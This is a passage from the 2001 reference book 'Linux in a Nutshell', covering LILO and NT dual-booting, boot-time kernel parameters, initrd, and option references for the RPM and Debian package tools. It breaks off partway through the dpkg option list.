Linux

Select Linux, and the NT loader reads the Linux boot sector and transfers control to LILO, on the Linux partition.

If you later modify /etc/lilo.conf or rebuild the kernel, you need to rerun the lilo command, create a new bootsect.lnx file, and replace the version of bootsect.lnx on the Windows NT partition with the new version. That is, you need to rerun steps 2-6.

NOTE

If you have any problems or you simply want to remove LILO later, you can reverse the installation procedure: boot to Windows NT, change the system and read-only attributes on boot.ini, reedit boot.ini to remove the Linux entry, save the file, restore the system and read-only attributes, and remove the Linux boot sector from the NT partition.

Previous | Home | Next
4.3. Loadlin: Booting from MS-DOS | Book Index | 4.5. Boot-time Kernel Options
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Boot-time Kernel Options (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

4.5. Boot-time Kernel Options

The Loadlin and LILO sections of this chapter described some of the options you can specify when you boot Linux. There are many more options that can be specified. This section touches on the ways to pass options to the kernel and then describes some of the kinds of parameters you might want to use. The parameters in this section affect the kernel and therefore apply regardless of which boot loader you use.

As always with Unix systems, there are a number of choices for the boot process itself. If you are using Loadlin, you can pass parameters to the kernel on the command line or in a file.

If LILO is your boot loader, you can add to or override the parameters specified in /etc/lilo.conf during the boot process as follows:

  • If prompt is set in /etc/lilo.conf, LILO always presents the boot prompt and waits for input. At the prompt, you can choose the operating system to be booted. If you choose Linux, you also can specify parameters.

  • If prompt isn't set, when the word "LILO" appears, press Control, Shift, or Alt, and the boot prompt appears. You also can press the Scroll Lock key before LILO is printed and not have to wait poised over the keyboard for the right moment.

  • At the boot prompt, specify the system you want to boot or press Tab to get a list of the available choices. You then can enter the name of the image to boot. For example:

    LILO boot: <press Tab>
linux   test   dos
boot: linux

    You also can add boot command options:

    boot: linux single

  • If you don't provide any input, LILO waits the amount of time specified in the delay parameter and then boots the default operating system with the default parameters as set in /etc/lilo.conf.

Some of the boot parameters have been mentioned earlier. Many of the others are hardware-specific and are too numerous to mention here. For a complete list of parameters and a discussion of the booting process, see the BootPrompt-HOWTO. Some of the parameters not shown earlier that you might find useful are listed next; many more are covered in the HOWTO. Most of the following parameters are used to provide information or instructions for the kernel, rather than to LILO.

debug

Prints all kernel messages to the console.

hd=cylinders,heads,sectors

Specifies the hard drive geometry to the kernel. Useful if Linux has trouble recognizing the geometry of your drive, especially if it's an IDE drive with more than 1024 cylinders.

load_ramdisk=n

Tells the kernel whether to load a RAM disk image for use during Linux installation. Values of n are:

0

Don't try to load the image. This is the default.

1

Load the image from a floppy disk to the RAM disk.

mem=size

Specifies the amount of system memory installed. Useful if your BIOS reports memory only up to 64 MB and your system has more memory installed. Specify as a number with M or k (case-insensitive) appended:

mem=128M

Because mem would have to be included on the command line for every boot, it often is specified on a command line saved with lock or with append to be added to the parameters passed to the kernel.

noinitrd

When set, disables the two-stage boot and preserves the contents of /dev/initrd so the data is available after the kernel has booted. /dev/initrd can be read only once, and then its contents are returned to the system.

number

Starts Linux at the runlevel specified by number. A runlevel is an operating state that the system can be booted to, such as a multiuser system or a system configuration running the X Window System. A runlevel is generally one of the numbers from 1 to 6; the default usually is 3. The runlevels and their corresponding states are defined in the file /etc/inittab. See the manpage for /etc/inittab for more information.

ro

Mounts the root filesystem read-only. Used for doing system maintenance, such as checking the filesystem integrity, when you don't want anything written to the filesystem.

rw

Mounts the root filesystem read-write. If neither ro nor rw is specified, the default value (usually rw) stored in the kernel image is used.

single

Starts Linux in single-user mode. This option is used for system administration and recovery. It gives you a root prompt as soon as the system boots, with minimal initialization. No other logins are allowed.

Previous | Home | Next
4.4. Dual Booting Linux and Windows NT/2000 | Book Index | 4.6. initrd: Using a RAM Disk
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


initrd: Using a RAM Disk (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

4.6. initrd: Using a RAM Disk

Modern Linux distributions use a modular kernel, which allows modules to be added without requiring that the kernel be rebuilt. If your root filesystem is on a device whose driver is a module, as is frequently true of SCSI disks, you can use the initrd facility, which provides a two-stage boot process, to first set up a temporary root filesystem in a RAM disk containing the modules you need to add (e.g., the SCSI driver) and then load the modules and mount the real root filesystem. The RAM disk containing the temporary filesystem is the special device file /dev/initrd.

Before you can use initrd, both RAM disk support (CONFIG_BLK_DEV_RAM=y) and initial RAM disk support (CONFIG_BLK_DEV_INITRD=y) must be compiled into the Linux kernel. Then you need to prepare the normal root filesystem and create the RAM disk image. Your Linux distribution may have utilities to do some of the setup for you; for example, the Red Hat distribution comes with the mkinitrd command, which builds the initrd image. For detailed information, see the initrd manpage and the file initrd.txt (the path may vary but is usually something like /usr/src/linux/Documentation/initrd.txt).

Once your Linux system has been set up for initrd, you can do one of the following, depending on which boot loader you are using:

  • If LILO is your boot loader, add the initrd option to the appropriate image section:

    image = /vmlinuz
  initrd = /boot/initrd  # The file to load as the contents of /dev/initrd
  ...

    Run the /sbin/lilo command, and you can reboot with initrd.

  • If you are using Loadlin, add the initrd option to the command line:

    loadlin c:\linux\vmlinuz initrd=c:\linux\initrd
Previous | Home | Next
4.5. Boot-time Kernel Options | Book Index | 5. Red Hat and Debian Package Managers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Red Hat and Debian Package Managers (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 5. Red Hat and Debian Package Managers

Contents:

The Red Hat Package Manager
The Debian Package Manager

This chapter describes the two major Linux packaging systems, the Red Hat Package Manager (RPM) and the Debian GNU/Linux Package Manager.

When you want to install applications on your Linux system, most often you'll find a binary or a source package containing the application you want, instead of (or in addition to) a .tar.gz file. A package is a file containing the files necessary to install an application. But note that while the package contains the files you need for installation, the application might require the presence of other files or packages that are not included, such as particular libraries (and even specific versions of the libraries), in order to be able to run. Such requirements are known as dependencies.

Package management systems offer many benefits. As a user, you may find you want to query the package database to find out what packages are installed on the system and their versions. As a system administrator, you need tools to install and manage the packages on your system. And, if you are also a developer, you need to know how to build a package for distribution.

Among other things, package managers:

  • Provide tools for installing, updating, removing, and managing the software on your system.

  • Let you install new or upgraded software directly across a network.

  • Tell you what software package a particular file belongs to or what files a package contains.

  • Maintain a database of packages on the system and their state, so you can find out what packages or versions are installed on your system.

  • Provide dependency checking, so you don't mess up your system with incompatible software.

  • Provide PGP, MD5, or other signature verification tools.

  • Provide tools for building packages.

Any user can list or query packages. However, installing, upgrading, or removing packages generally requires superuser privileges. This is because the packages normally are installed in systemwide directories that are writable only by root. Sometimes you can specify an alternate directory, to install, for example, a package into your home directory or into a project directory where you have write permission.

Both RPM and the Debian Package Manager back up old files before installing an updated package. Not only does this let you go back if there is a problem, but also if you've made changes (to configuration files, for example), they aren't completely lost.

5.1. The Red Hat Package Manager

The Red Hat Package Manager (RPM) is a freely available packaging system for software distribution and installation. In addition to Red Hat and Red Hat-based distributions, both SuSE and Caldera are among the Linux distributions that use RPM.

Using RPM is straightforward. A single command, rpm, has options to perform all the package functions. For example, to find out if the Emacs editor is installed on your system, you could say:

% rpm -q emacs
emacs-20.4-4

In addition, the GNOME-RPM program provides an X-based graphical frontend to RPM (that can be run even if you are not running GNOME). This section describes the rpm command and then the gnorpm command that runs GNOME-RPM.

5.1.1. The rpm Command

RPM packages are built, installed, and queried with the rpm command. RPM package names usually end with a .rpm extension. rpm has a set of modes, each with its own options. The format of the rpm command is:

rpm [options] [packages]
With a few exceptions, as noted in the lists of options that follow, the first option specifies the rpm mode (e.g., install, query, update, build, etc.), and any remaining options affect that mode.

In the option descriptions that refer to packages, you'll sometimes see them specified as package-name and sometimes as package-file. The package name is the name of the program or application, such as gif2png. The package file is the name of the RPM file: gif2png-2.2.5-1.i386.rpm.

RPM provides a configuration file for specifying frequently used options. The system configuration file is usually /etc/rpmrc, and users can set up their own $HOME/.rpmrc file. You can use the --showrc option to show the values RPM will use for all the options that may be set in an rpmrc file:

rpm --showrc

The rpm command includes FTP and HTTP clients, so you can specify an ftp:// or http:// URL to install or query a package across the Internet. You can use an FTP or HTTP URL wherever package-file is specified in the commands presented here.

Any user can query the RPM database. Most of the other functions require superuser privileges.

5.1.1.1. General options

The following options can be used with all modes:

--dbpath path

Use path as the path to the RPM database.

--ftpport port

Use port as the FTP port.

--ftpproxy host

Use host as a proxy server for all transfers. Specified if you are FTPing through a firewall system that uses a proxy.

--help

Print a long usage message (running rpm with no options gives a shorter usage message).

--justdb

Update only the database; don't change any files.

--pipe command

Pipe the rpm output to command.

--quiet

Display only error messages.

--rcfile filename

Use filename as the configuration file instead of the system configuration file /etc/rpmrc or $HOME/.rpmrc.

--root dir

Perform all operations within directory dir.

--version

Print the version number of rpm.

-vv

Print debugging information.

5.1.1.2. Install, upgrade, and freshen options

Install or upgrade an RPM package. The syntax of the install command is:

rpm -i [install-options] package_file ...
rpm --install [install-options] package_file ...

To install a new version of a package and remove an existing version at the same time, use the upgrade command instead:

rpm -U [install-options] package_file ...
rpm --upgrade [install-options] package_file ...

One feature of -U is that if the package doesn't already exist on the system, it acts like -i and installs it. To prevent that behavior, you can freshen a package instead; in that case, rpm upgrades the package only if an earlier version is already installed. The freshen syntax is:

rpm -F [install-options] package_file ...
rpm --freshen [install-options] package_file ...

Installation and upgrade options are:

--allfiles

Install or upgrade all files.

--badreloc

Used with --relocate to force relocation even if the package is not relocatable.

--excludedocs

Don't install any documentation files.

--excludepath path

Don't install any file whose filename begins with path.

--force

Force the installation. Equivalent to using --replacepkgs, --replacefiles, and --oldpackage.

-h, --hash

Print 50 hash marks as the package archive is unpacked. Use with --version for a nicer display.

--ignorearch

Install even if the binary package is intended for a different architecture.

--ignoreos

Install binary package even if the operating systems don't match.

--ignoresize

Don't check disk space availability before installing.

--includedocs

Install documentation files. This is needed only if excludedocs: 1 is specified in an rpmrc file.

--nodeps

Don't check whether this package depends on the presence of other packages.

--noorder

Don't reorder packages to satisfy dependencies before installing.

--noscripts

Don't execute any preinstall or postinstall scripts.

--notriggers

Don't execute any scripts triggered by package installation.

--oldpackage

Allow an upgrade to replace a newer package with an older one.

--percent

Print percent-completion messages as files are unpacked.

--prefix path

Set the installation prefix to path for relocatable packages.

--replacefiles

Install the packages even if they replace files from other installed packages.

--replacepkgs

Install the packages even if some of them are already installed.

--test

Go through the installation to see what it would do, but don't actually install the package.

5.1.1.3. Query options

The syntax for the query command is:

rpm -q[information-options] [package-options]
rpm --query[information-options] [package-options]

There are two subsets of query options: package selection options that determine what packages to query and information selection options that determine what information to provide.

5.1.1.3.1. Package selection options

package_name

Query the installed package package_name.

-a, --all

Query all installed packages.

-f file, --file file

Find out what package owns file.

-g group, --group group

Find out what packages have group group.

-p package_file

Query the uninstalled package package_file.

--querybynumber num

Query the numth database entry. Primarily useful for debugging.

-qf, --queryformat num

Specify the format for displaying the query output, using tags to represent different types of data (e.g., NAME, FILENAME, DISTRIBUTION). The format specification is a variation of the standard printf formatting. (Use --querytags in Section 5.1.1.8, "Miscellaneous options" to view a list of available tags.

--specfile specfile

Query specfile as if it were a package.

--triggeredby pkg

List packages that trigger installation of package pkg.

--whatrequires capability

List packages that require the given capability to function.

--whatprovides capability

List packages that provide the given capability.

5.1.1.3.2. Information selection options

-c, --configfiles

List configuration files in the package.

--changelog

Display the log of change information for the package.

-d, --docfiles

List documentation files in the package.

--dump

Dump information for each file in the package. This option must be used with at least one of -l, -c, or -d. The output includes the following information in this order:

path size mtime md5sum mode owner group isconfig isdoc rdev symlink

--filesbypkg

List all files in each package.

-i

Display package information, including the name, version, and description.

-l, --list

List all files in the package.

--last

List packages by install time, with the latest packages listed first.

--provides

List the capabilities this package provides.

-R, --requires

List any packages this package depends on.

-s, --state

List each file in the package and its state. The possible states are normal, not installed, or replaced.

--scripts

List any package-specific shell scripts used during installation and uninstallation of the package.

5.1.1.4. Uninstall options

The syntax for the uninstall command is:

rpm -e package_name
rpm --erase package_name

The uninstall options are:

--allmatches

Remove all versions of the package. Only one package should be specified; otherwise, an error results.

--nodeps

Don't check dependencies before uninstalling the package.

--noscripts

Don't execute any preuninstall or postuninstall scripts.

--notriggers

Don't execute any scripts triggered by the removal of this package.

--test

Don't really uninstall anything; just go through the motions.

5.1.1.5. Verify options

The syntax for the verify command is:

rpm -V|-y| -- verify[package-selection-options]

Verify mode compares information about the installed files in a package with information about the files that came in the original package and displays any discrepancies. The information compared includes the size, MD5 sum, permissions, type, owner, and group of each file. Uninstalled files are ignored.

The package selection options include those available for query mode, as well as the following:

--nofiles

Ignore missing files.

--nomd5

Ignore MD5 checksum errors.

--nopgp

Ignore PGP checking errors.

The output is formatted as an eight-character string, possibly followed by a "c" to indicate a configuration file, and then the filename. Each of the eight characters in the string represents the result of comparing one file attribute to the value of that attribute from the RPM database. A period (.) indicates that the file passed that test. The following characters indicate failure of the corresponding test:

5 | MD5 sum
D | Device
G | Group
L | Symlink
M | Mode (includes permissions and file type)
S | File size
T | Mtime
U | User

5.1.1.6. Database rebuild options

The syntax of the command to rebuild the RPM database is:

rpm --rebuilddb [options]

You also can build a new database:

rpm --initdb [options]

The options available with the database rebuild mode are the --dbpath and --root options described earlier under Section 5.1.1.1, "General options".

5.1.1.7. Signature check options

RPM packages may have a PGP signature built into them. PGP configuration information is read from /etc/rpmrc. The syntax of the signature-check mode is:

rpm --checksig package_file...
rpm -K package_file...

The signature-checking options are:

--nogpg

Don't check any GPG signatures.

--nomd5

Don't check any MD5 signatures.

--nopgp

Don't check any PGP signatures.

Two other options let you add signatures to packages:

--addsign binary-pkgfile...

Generate and append new signatures to those that already exist in the specified binary packages.

--resign binary-pkgfile...

Generate and insert new signatures in the specified binary packages, removing any existing signatures.

5.1.1.8. Miscellaneous options

Several additional rpm options are available:

--querytags

Print the tags available for use with the --queryformat option in query mode.

--setgids packages

Set file owner and group of the specified packages to those in the database.

--setperms packages

Set file permissions of the specified packages to those in the database.

--showrc

Show the values rpm will use for all options that can be set in an .rpmrc file.

5.1.1.9. FTP/HTTP options

The following options are available for use with ftp:// and http:// URLs in install, update, and query modes:

--ftpport port

Use port for making an FTP connection on the proxy FTP server instead of the default port. Same as specifying the macro _ftpport.

--ftpproxy host

Use host as the proxy server for FTP transfers through a firewall that uses a proxy. Same as specifying the macro _ftpproxy.

--httpport port

Use port for making an HTTP connection on the proxy HTTP server instead of the default port. Same as specifying the macro _httpport.

--httpproxy host

Use host as a proxy server for HTTP transfers. Same as specifying the macro _httpproxy.

5.1.1.10. Build options

The syntax for the build options is:

rpm -[b|t]step [build-options] spec-file ...
Specify -b to build a package directly from a spec file or -t to open a tarred gzipped file and use its spec file. Both forms take the following single-character step arguments:

p

Perform the prep stage, unpacking source files and applying patches.

l

Do a list check, expanding macros in the files section of the spec file and verifying that each file exists.

c

Perform the build stage. Done after the prep stage; generally equivalent to doing a make.

i

Perform the install stage. Done after the prep and build stages; generally equivalent to doing a make install.

b

Build a binary package. Done after prep, build, and install.

s

Build a source package. Done after prep, build, and install.

a

Build both binary and source packages. Done after prep, build, and install.

The following additional options can be used when building an rpm file:

--buildarch arch
--buildos os

For use with pre-3.0 versions of RPM. Build the package for architecture arch or the operating system os. Replaced in 3.0 with --target.

--buildroot dir

Override the BuildRoot tag with dir when building the package.

--clean

Clean up (remove) the build files after the package has been made.

--rmsource

Remove the source files and the spec file when the build is done. Can be used as a standalone option with rpm to clean up files separately from creating the packages.

--short-circuit

Can be used with -bc and -bi to skip previous stages.

--sign

Add a PGP signature to the package.

--target platform

When building the package, set the macros _target, _target_arch, and _target_os to the value indicated by platform.

--test

Go through the motions, but don't execute any build stages. Used for testing spec files.

--timecheck

Set the timecheck age (the maximum age in seconds of a file being packaged). Set to 0 to disable.

Two other options can be used standalone with rpm to recompile or rebuild a package:

--rebuild source-pkgfile...

Like --recompile, but also build a new binary package. Remove the build directory, the source files, and the spec file once the build is complete.

--recompile source-pkgfile...

Install the named source package, and prep, compile, and install the package.

5.1.1.11. RPM examples

Query the RPM database to find Emacs-related packages:

% rpm -q -a | grep emacs

Query an uninstalled package, printing information about the package, and list the files it contains:

% rpm -qpil ~/downloads/bash2-doc-2.03-8.i386.rpm

Install a package (assumes superuser privileges):

% rpm -i sudo-1.5.3-6.i386.rpm

5.1.2. GNOME-RPM

GNOME-RPM is a graphical user frontend to rpm that runs under X. You can run gnorpm even if you are not running GNOME. When you run gnorpm, it opens a window that lets you manage your rpm packages via a graphical interface. The format of the gnorpm command is:

gnorpm [options]

5.1.2.1. gnorpm options

The gnorpm options are:

--geometry=geom

Specify the geometry of the main window in standard X geometry format (i.e., w×h+x+y).

-i pkgfiles, --install pkgfiles

Install the specified packages.

-p pkgs, --packages pkgs

The packages are in files, not in the rpm database (i.e., they haven't been installed yet).

-q pkgs, --query pkgs

Display a query window for the specified installed packages.

-qp pkgfiles, --query --packages pkgfiles

Display a query window for the specified package files. This is the same as specifying the -q and -p options.

-U pkgfiles, --upgrade pkgfiles

Upgrade the specified packages.

-K pkgfiles, --checksig pkgfiles

Check the signatures on the specified packages.

-y pkgs, --verify pkgs

Verify the specified packages.

-?, --help

Display a help message and exit.

--root=dir

Specify the filesystem root to use.

--usage

Display a brief usage message and exit.

5.1.2.2. The GNOME-RPM window

The GNOME-RPM main window has five parts. At the top is a menu bar with three buttons:

Packages

Menu options are Query, Uninstall, and Verify.

Operations

Menu options are Find, Web find, Install, and Preferences.

Help

Provides online help for GNOME-RPM.

Below the menu bar is a toolbar, with buttons to Install, Unselect, Uninstall, Query, Verify, Find, and Web find. At the very bottom of the window is a status bar.

The rest of the window is the main panel. On the left is the package panel, which displays package folders in a tree structure. Clicking on a folder selects it; double-click to display the contents of the folder (i.e., the packages in that folder) on the righthand panel. Clicking on a package selects it; you then can use the menus and the toolbar buttons to operate on the package. You can select several packages at the same time and operate on them as a group. Right-clicking on a package icon selects the package if it isn't already and presents a menu with Query, Uninstall, and Verify options.

See the GNOME-RPM documentation and online help for full details.

Previous | Home | Next
4.6. initrd: Using a RAM Disk | Book Index | 5.2. The Debian Package Manager
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Debian Package Manager (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

5.2. The Debian Package Manager

Debian GNU/Linux provides several package management tools, primarily intended to facilitate the building, installation, and management of binary packages. Debian package names generally end in .deb. The Debian package management tools include:

dpkg

Until recently, the most important of the Debian packaging tools and still the primary package management program. Used to install or uninstall packages or as a frontend to dpkg-deb.

dpkg-deb

Lower-level packaging tool. Used to create and manage the Debian package archives. Accepts and executes commands from dpkg or can be called directly.

dselect

An interactive frontend to dpkg.

apt-get

The currently available piece of the Advanced Package Tool (APT), which is still being developed and is intended to be a modern, user-friendly package management tool. Can be run from the command line or selected as a method from dselect. One of the features of apt-get is that you can use it to get and install packages across the Internet by specifying an ftp:// or http:// URL. Another feature is that you can use it to upgrade all packages currently installed on your system in a single operation.

5.2.1. Files

Some important files used by the Debian package management tools are:

control

Comes with each package; documents dependencies; contains the name and version of the package, a description, maintainer, installed size, and so on.

conffiles

Comes with each package and contains a list of the configuration files associated with the package.

preinst, postinst, prerm, postrm

Scripts that can be included in a package to be run before installation, after installation, before removal, or after removal of the package.

/var/lib/dpkg/available

Contains information about packages available on the system.

/var/lib/dpkg/status

Contains information about the status of packages available on the system.

/etc/apt/sources.list

A list for APT of package sources, used to locate packages. The sources are listed one per line, in order of preference.

/etc/apt/apt.conf

The main APT configuration file.

5.2.2. Package States and Selection States

The possible states that a package can be in are:

config-files

Only the configuration files for the package are present on the system.

half-configured

The package is unpacked and configuration was started but not completed.

half-installed

Installation was started but not completed.

installed

The package is unpacked and configured.

not-installed

The package is not installed.

unpacked

The package is unpacked but not configured.

The possible package selection states are:

deinstall

The package has been selected for deinstallation (i.e., for removal of everything but configuration files).

install

The package has been selected for installation.

purge

The package has been selected to be purged (i.e., for removal of everything including the configuration files).

5.2.3. Package Flags

There are two possible package flags that can be set for a package. They are:

hold

The package is not to be handled by dpkg, unless forced with the --force-hold option.

reinst-required

The package is broken and needs to be reinstalled. Such a package cannot be removed, unless forced with the --force-reinstreq option.

5.2.4. Scripts

In addition to the commands described in the next subsection, several shell and Perl scripts are included with the package manager for use in building packages:

dpkg-buildpackage

Help automate package building. Shell script.

dpkg-distaddfile

Add an entry for a file to debian/files. Perl script.

dpkg-genchanges

Generate an upload control file from the information in an unpacked, built, source tree and the files it has generated. Perl script.

dpkg-gencontrol

Read information from an unpacked source tree and display a binary package control file on standard output. Perl script.

dpkg-name

Rename Debian packages to their full package names. Shell script.

dpkg-parsechangelog

Read and parse the changelog from an unpacked source tree and write the information to standard output in machine-readable form. Perl script.

dpkg-scanpackages

Create a Packages file from a tree of binary packages. The Packages file is used by dselect to provide a list of packages available for installation. Perl script.

dpkg-shlibdeps

Calculate shared library dependencies for named executables. Perl script.

dpkg-source

Pack and unpack Debian source archives. Perl script.

5.2.5. Debian Package Manager Command Summary

apt-cdrom

apt-cdrom [options] command

Add a new CD-ROM to APT's list of available sources. Currently, the only command is add, which is required (except with the --help option). The database of CD-ROM IDs that APT maintains is /var/state/apt/cdroms.list.

Options

Options can be specified on the command line or they may be set in the configuration file. Boolean options set in the configuration file can be overridden on the command line in a number of different ways, a couple of which are --no-opt and -opt=no, where opt is the single-character or full name of the option.

-a, --thorough

Do a thorough package scan. May be needed with some old Debian CD-ROMs.

-c, --config-file

Specify a configuration file to be read after the default configuration file.

-d, --cdrom

Specify the CD-ROM mount point, which must be listed in /etc/fstab. The configuration option is Acquire::cdrom::mount.

-f, --fast

Do a fast copy, assuming the files are valid and don't all need checking. Specify this only if this disk has been run before without error. The configuration option is APT::CDROM::Fast.

-h, --help

Print help message and exit.

-m, --no-mount

Don't mount or unmount the mount point. The configuration option is APT::CDROM::NoMount.

-n, --just-print, --recon, --no-act

Check everything, but don't actually make any changes. The configuration option is APT::CDROM::NoAct.

-o, --option

Set a configuration option. Syntax is -o group::tool=option (e.g., APT::CDROM=Fast).

-r, --rename

Prompt for a new label and rename the disk to the new value. The configuration option is APT::CDROM::Rename.

-v, --version

Print the version information and exit.

apt-get

apt-get [options] command [package...]

A command-line tool for handling packages. Will eventually be a backend to APT.

Commands

autoclean

Like clean, but remove only package files that can no longer be downloaded.

clean

Clear the local repository of retrieved package files.

check

Update the package cache and check for broken packages.

dist-upgrade

Like upgrade but also handle dependencies intelligently.

dselect-upgrade

Used together with dselect. Track the changes made by dselect to the Status field of available packages and take actions necessary to realize that status.

install package...

Install one or more packages. Specify the package name, not the full filename. Other required packages also are retrieved and installed. With a hyphen appended to the package name, the package is removed if it is already installed.

remove package...

Remove one or more packages. Specify the package name, not the full filename. With a plus sign appended to the name, the package is installed.

source package...

Find source packages and download them into the current directory. If specified with --compile, the source packages are compiled into binary packages. With --download-only, the source packages are not unpacked.

update

Resynchronize the package overview files from their sources. Must be done before an upgrade or dist-upgrade.

upgrade

Install the latest versions of all packages currently installed. Run update first.

Options

Options can be specified on the command line or they may be set in the configuration file. Boolean options set in the configuration file can be overridden on the command line in one of several ways, a couple of which are --no-opt and -opt=no, where opt is the single-character or full name of the option.

-b, --compile, --build

Compile source packages after download.

-c, --config-file

Specify a configuration file to read after the default.

-d, --download-only

Retrieve package files, but don't unpack or install them. The configuration option is APT::Get::Download-only.

-f, --fix-broken

Try to fix a system with broken dependencies. Can be used alone or with a command. The configuration option is APT::Get::Fix-Broken.

--force-yes

Force yes. Causes APT to continue without prompting if it is doing something that could damage your system. Use with great caution and only if absolutely necessary. The configuration option is APT::Get::force-yes.

-h, --help

Display a help message and exit.

--ignore-hold

Ignore a hold placed on a package. Use with dist-upgrade to override many undesired holds. The configuration option is APT::Get::Ignore-Hold.

-m, --ignore-missing, --fix-missing

Ignore missing or corrupted packages or packages that cannot be retrieved. Can cause problems when used with -f.

--no-download

Disable package downloading; use with --ignore-missing to force APT to use only the packages that have already been downloaded.

--no-upgrade

Do not upgrade packages. Use with install to prevent upgrade of packages that are already installed. The configuration option is APT::Get::no-upgrade.

-o, --option

Set a configuration option. Syntax is -o group::tool=option (e.g., APT::Get=force-yes).

--print-uris

Print URIs of files instead of fetching them. Print path, destination filename, size, and expected MD5 hash. The configuration option is APT::Get::Print-URIs.

-q, --quiet

Quiet. Omit progress indicators, produce only logging output. Add a q to make even quieter.

-s, --simulate, --just-print, --dry-run, --recon, --no-act

Go through the motions, but don't actually make any changes to the system. The configuration option is APT::Get::Simulate.

-u, --show-upgraded

Print a list of all packages to be upgraded. The configuration option is APT::Get::Show-Upgraded.

-v, --version

Display the version and exit.

-y, --yes, --assume-yes

Automatically reply "yes" to prompts and run noninteractively. Abort if there is an error. The configuration option is APT::Get::Assume-Yes.

dpkg

dpkg [options] action

A tool for installing, managing, and building packages. Serves as a frontend to dpkg-deb.

dpkg actions

These actions are carried out by dpkg itself:

-i pkgfile, --install pkgfile

Install the package specified as pkgfile. With -R or --recursive, pkgfile must be a directory.

--unpack pkgfile

Unpack the package, but don't configure it. With -R or --recursive, pkgfile must be a directory.

--configure [packages|-a|--pending]

Reconfigure one or more unpacked packages. If -a or --pending is given instead of packages, configure all packages that are unpacked but not configured.

-r, --remove [packages|-a|--pending]
--purge [packages|-a|--pending]

Remove or purge one or more installed packages. Removal gets rid of everything except the configuration files listed in debian/conffiles; purging also removes the configuration files. If -a or --pending is given instead of packages, dpkg removes or purges all packages that are unpacked and marked (in /var/lib/dpkg/status) for removing or purging.

--print-avail package

Print the details about package from /var/lib/dpkg/available.

--update-avail pkgs-file
--merge-avail pkgs-file

Update the record of available files kept in /var/lib/dpkg/available. This information is used by dpkg and dselect to determine what packages are available. Update will replace the information with the contents of the pkgs-file, distributed as Packages. Merge combines the information from Packages with the existing information.

-A pkgfile, --record-avail pkgfile

Update the record of available files kept in /var/lib/dpkg/available with information from pkgfile. This information is used by dpkg and dselect to determine what packages are available. With -R or --recursive, pkgfile must be a directory.

--forget-old-unavail

Forget about uninstalled unavailable packages.

--clear-avail

Remove existing information about what packages are available.

-l, --list [pkg-name-pattern]

List all packages whose names match the specified pattern. With no pattern, list all packages in /var/lib/dpkg/available. The pattern can include standard shell wildcard characters and may have to be quoted to prevent the shell from doing filename expansion.

-s packages, --status packages

Report the status of one or more packages by displaying the entry in the status database /var/lib/dpkg/status.

-C, --audit

Search for partially installed packages and suggest how to get them working.

--get-selections [pattern]

Get list of package selections and write to standard output. With pattern specified, write selections that match the pattern.

--set-selections

Set package selections based on input file read from standard input.

--yet-to-unpack

Search for uninstalled packages that have been selected for installation.

-L packages, --listfiles packages

List installed files that came from the specified package or packages.

-S filename-pattern, --search filename-pattern

Search installed packages for a filename. The pattern can include standard shell wildcard characters and may have to be quoted to prevent the shell from doing filename expansion.

--print-architecture

Print target architecture.

--print-gnu-build-architecture

Print the GNU version of the target architecture.

--print-installation-architecture

Print host architecture for installation.

--compare-versions ver1 op ver2

Perform a binary comparison of two version numbers. The operators lt le eq ne ge gt treat a missing version as earlier. The operators lt-nl le-nl ge-nl gt-nl treat a missing version as later (where nl is "not later"). There is a third set of operators (< << <= = >= >> >) that is provided for compatibility with control-file syntax. dpkg returns zero for success (i.e., the condition is satisfied) and nonzero otherwise.

--help

Print help message and exit.

--force-help

Print help message about the --force-list options and exit.

-Dh, --debug=help

Print debugging help message and exit.

--license

Print dpkg license information and exit. Accepts the spelling --licence in addition to --license.

--version

Print dpkg version information and exit.

dpkg-deb actions

The following actions can be specified for dpkg and are passed to dpkg-deb for execution. Also see dpkg-deb.

-b dir [archive], --build dir [archive]

Build a package.

-c archive, --contents archive

List the contents of a package.

-e, --control archive dir

Extract control information from a package.

-f archive [control-fields], --field archive [control-fields]

Display the control field or fields of a package.

-I archive [control-files], --info archive [control-files]

Show information about a package.

--fsys-tarfile archive

Display the filesystem tar- file contained by a package.

-x archive dir, --extract archive dir

Extract the files from a package.

-X archive dir, --vextract archive dir

Extract and display the filenames from a package.

Options

--abort-after=num

Abort processing after num errors. Default is 50.

-B, --auto-deconfigure

When a package is removed, automatically deconfigure any other package that depended on it.

-D octal, --debug=octal

Turn on debugging, with the octal value specifying the desired level of debugging information. Use -Dh or --debug=help to display the possible values. You can OR the values to get the desired output.

-E, --skip-same-version

Don't install the package if this version is already installed.

--force-list, --no-force-list, --refuse-list

Force or refuse to force an operation. list is specified as a comma-separated item of options. With --force, a warning is printed, but processing continues. --refuse and --no-force cause processing to stop with an error. The force/refuse options are:

architecture

Process even if intended for a different architecture.

auto-select

Select or deselect packages to install or remove them. Forced by default.

bad-path

Some programs are missing from the path.

configure-any

Configure any unconfigured package that the package depends on.

conflicts

Permit installation of conflicting packages. Can result in problems from files being overwritten.

depends

Turn dependency problems into warnings.

depends-version

Warn of version problems when checking dependencies, but otherwise ignore.

downgrade

Install even if a newer version is already installed. Forced by default.

hold

Process packages even if they are marked to be held.

not-root

Try to install or remove even when not logged on as root.

overwrite

Overwrite a file from one package with the same file from another package. Forced by default.

overwrite-dir

Overwrite one package's directory with a file from another package.

overwrite-diverted

Overwrite a diverted file with an undiverted version.

remove-essential

Remove an essential package. Note that this can cause your system to stop working.

remove-reinstreq

Remove packages that are broken and are marked to require reinstallation.

-G

Don't install a package if a newer version is already installed. The same as --refuse-downgrade.

--ignore-depends=pkglist

Dependency problems result only in a warning for the packages in pkglist.

--largemem

Specify that dpkg can use as much memory as it needs.

--new

New binary package format. This is a dpkg-deb option.

--no-act

Go through the motions, but don't actually write any changes. Used for testing. Be sure to specify before the action; otherwise changes might be written.

--nocheck

Ignore the contents of the control file when building a package. This is a dpkg-deb option.

-O, --selected-only

Process only packages that are marked as selected for installation.

--old

Old binary package format. This is a dpkg-deb option.

-R, --recursive

Recursively handle .deb files found in the directories specified with -A, --install, --unpack, and --avail and their subdirectories.

-R, --root=dir, --admindir=dir, --instdir=dir

